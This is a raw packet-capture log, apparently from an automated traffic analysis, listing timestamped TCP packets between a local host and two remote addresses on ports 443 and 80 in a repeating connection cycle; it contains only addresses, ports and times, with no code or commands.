Jan 10, 2025 21:41:27.254251957 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:27.254300117 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:27.254365921 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:27.254601002 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:27.254616976 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:27.293292046 CET	49937	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:27.912113905 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:27.913748026 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:27.913765907 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:27.913820028 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:27.913829088 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:28.224004984 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:28.224075079 CET	443	49942	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:28.224271059 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:28.224535942 CET	49942	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:28.228176117 CET	49937	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:28.228537083 CET	49948	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:28.233549118 CET	80	49948	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:28.233635902 CET	49948	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:28.233674049 CET	80	49937	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:28.233841896 CET	49948	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:28.234213114 CET	49937	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:28.239419937 CET	80	49948	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:29.235835075 CET	80	49948	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:29.237102985 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:29.237138987 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:29.237226963 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:29.237474918 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:29.237484932 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:29.277657986 CET	49948	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:29.887833118 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:29.890290976 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:29.890331984 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:29.890384912 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:29.890394926 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:30.314641953 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:30.314733028 CET	443	49955	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:30.314793110 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:30.315135002 CET	49955	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:30.319107056 CET	49948	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:30.320558071 CET	49960	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:30.324093103 CET	80	49948	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:30.324141026 CET	49948	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:30.325475931 CET	80	49960	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:30.325532913 CET	49960	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:30.325670004 CET	49960	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:30.330431938 CET	80	49960	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:30.949132919 CET	80	49960	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:30.951092005 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:30.951132059 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:30.951284885 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:30.951472044 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:30.951488018 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:30.996427059 CET	49960	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:31.565001965 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:31.567729950 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:31.567773104 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:31.567922115 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:31.567929029 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:31.879698992 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:31.879827976 CET	443	49965	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:31.882776022 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:31.883013964 CET	49965	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:31.886105061 CET	49960	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:31.886806011 CET	49972	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:31.891026974 CET	80	49960	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:31.891613960 CET	80	49972	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:31.891685963 CET	49960	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:31.891705990 CET	49972	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:31.891844988 CET	49972	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:31.896584988 CET	80	49972	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:32.517910957 CET	80	49972	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:32.519346952 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:32.519398928 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:32.519468069 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:32.519793034 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:32.519805908 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:32.558943987 CET	49972	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:33.136620045 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:33.138360977 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:33.138390064 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:33.138452053 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:33.138464928 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:33.495404005 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:33.495510101 CET	443	49977	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:33.495564938 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:33.496006012 CET	49977	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:33.499191999 CET	49972	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:33.500356913 CET	49984	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:33.504338980 CET	80	49972	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:33.504405022 CET	49972	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:33.505232096 CET	80	49984	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:33.505294085 CET	49984	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:33.505443096 CET	49984	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:33.510312080 CET	80	49984	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:34.140646935 CET	80	49984	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:34.142362118 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:34.142407894 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:34.142493963 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:34.142745018 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:34.142755985 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:34.183917999 CET	49984	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:34.873944998 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:34.875524998 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:34.875546932 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:34.875677109 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:34.875682116 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:35.188759089 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:35.188838959 CET	443	49989	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:35.188937902 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:35.189431906 CET	49989	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:35.192322969 CET	49984	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:35.193515062 CET	49996	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:35.197592020 CET	80	49984	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:35.197670937 CET	49984	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:35.198540926 CET	80	49996	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:35.198635101 CET	49996	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:35.198707104 CET	49996	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:35.203576088 CET	80	49996	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:35.849348068 CET	80	49996	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:35.852283955 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:35.852335930 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:35.852502108 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:35.852771997 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:35.852787971 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:35.902709007 CET	49996	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:36.528270006 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:36.530433893 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:36.530445099 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:36.530514002 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:36.530523062 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:36.757973909 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:36.758080959 CET	443	50001	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:36.758121967 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:36.758466005 CET	50001	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:36.761246920 CET	49996	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:36.762517929 CET	50005	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:36.766170025 CET	80	49996	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:36.766246080 CET	49996	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:36.767303944 CET	80	50005	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:36.767376900 CET	50005	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:36.767517090 CET	50005	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:36.772269011 CET	80	50005	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:37.402733088 CET	80	50005	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:37.404131889 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:37.404162884 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:37.404227018 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:37.404659986 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:37.404670000 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:37.449547052 CET	50005	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:38.041182041 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:38.043237925 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:38.043257952 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:38.043334007 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:38.043344021 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:38.364238977 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:38.364335060 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:38.364409924 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:38.364922047 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:38.367835045 CET	50005	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:38.369023085 CET	50007	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:38.372802019 CET	80	50005	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:38.372859955 CET	50005	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:38.373822927 CET	80	50007	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:38.373882055 CET	50007	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:38.373991966 CET	50007	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:38.378722906 CET	80	50007	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:38.999644041 CET	80	50007	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:39.009272099 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:39.009313107 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:39.009401083 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:39.017889023 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:39.017913103 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:39.043354034 CET	50007	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:39.655133963 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:39.656912088 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:39.656934023 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:39.656987906 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:39.656996965 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:40.055389881 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:40.055479050 CET	443	50008	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:40.055566072 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:40.056078911 CET	50008	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:40.059149027 CET	50007	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:40.060192108 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:40.064249039 CET	80	50007	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:40.064368963 CET	50007	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:40.065141916 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:40.065216064 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:40.065366030 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:40.070236921 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:40.697213888 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:40.698470116 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:40.698528051 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:40.698611021 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:40.699038029 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:40.699054956 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:40.746537924 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:41.350740910 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:41.352417946 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:41.352447987 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:41.352504969 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:41.352511883 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:41.697351933 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:41.697437048 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:41.697493076 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:41.697874069 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:41.809706926 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:41.810750961 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:41.814600945 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:41.814651012 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:41.815501928 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:41.815550089 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:41.815677881 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:41.820391893 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:42.471446991 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:42.472909927 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:42.472971916 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:42.473037958 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:42.473351002 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:42.473365068 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:42.512089968 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:43.107485056 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:43.109098911 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:43.109122992 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:43.109205008 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:43.109210014 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:43.436357021 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:43.436548948 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:43.436609030 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:43.437035084 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:43.440242052 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:43.441452026 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:43.445888996 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:43.445960999 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:43.446811914 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:43.446904898 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:43.447027922 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:43.451854944 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:44.109529972 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:44.110825062 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:44.110873938 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:44.110938072 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:44.111258030 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:44.111277103 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:44.152808905 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:44.744153976 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:44.746022940 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:44.746032000 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:44.746090889 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:44.746098042 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:45.015908957 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:45.015990019 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:45.016045094 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:45.016494989 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:45.019598007 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:45.020824909 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:45.024594069 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:45.024669886 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:45.025616884 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:45.025827885 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:45.025974989 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:45.030723095 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:45.665112972 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:45.666671038 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:45.666707993 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:45.666847944 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:45.667160034 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:45.667176008 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:45.715363979 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:46.292612076 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:46.294342041 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:46.294370890 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:46.294430017 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:46.294440031 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:47.639400005 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:47.639480114 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:47.639528990 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:47.640053034 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:47.643091917 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:47.644376040 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:47.650275946 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:47.650389910 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:47.650533915 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:47.655338049 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:47.657702923 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:47.657768965 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:48.322406054 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:48.323726892 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:48.323765039 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:48.323859930 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:48.324142933 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:48.324158907 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:48.371447086 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:48.957113028 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:48.958898067 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:48.958921909 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:48.958980083 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:48.958988905 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:49.349524021 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:49.349992990 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:49.350073099 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:49.350368023 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:49.353503942 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:49.354801893 CET	50019	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:49.358412027 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:49.358501911 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:49.359585047 CET	80	50019	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:49.359656096 CET	50019	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:49.359824896 CET	50019	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:49.366396904 CET	80	50019	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:49.995424032 CET	80	50019	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:49.996907949 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:49.996965885 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:49.997112036 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:49.997339964 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:49.997349977 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:50.043373108 CET	50019	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:50.628360987 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:50.630084991 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:50.630100012 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:50.630215883 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:50.630222082 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:50.928790092 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:50.928885937 CET	443	50020	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:50.928972960 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:50.929467916 CET	50020	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:50.933469057 CET	50019	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:50.934473991 CET	50021	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:50.938520908 CET	80	50019	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:50.938591003 CET	50019	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:50.939606905 CET	80	50021	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:50.939677000 CET	50021	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:50.939788103 CET	50021	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:50.944909096 CET	80	50021	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:51.566680908 CET	80	50021	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:51.568346024 CET	50022	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:51.568384886 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:51.568541050 CET	50022	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:51.569047928 CET	50022	443	192.168.2.8	149.154.167.220
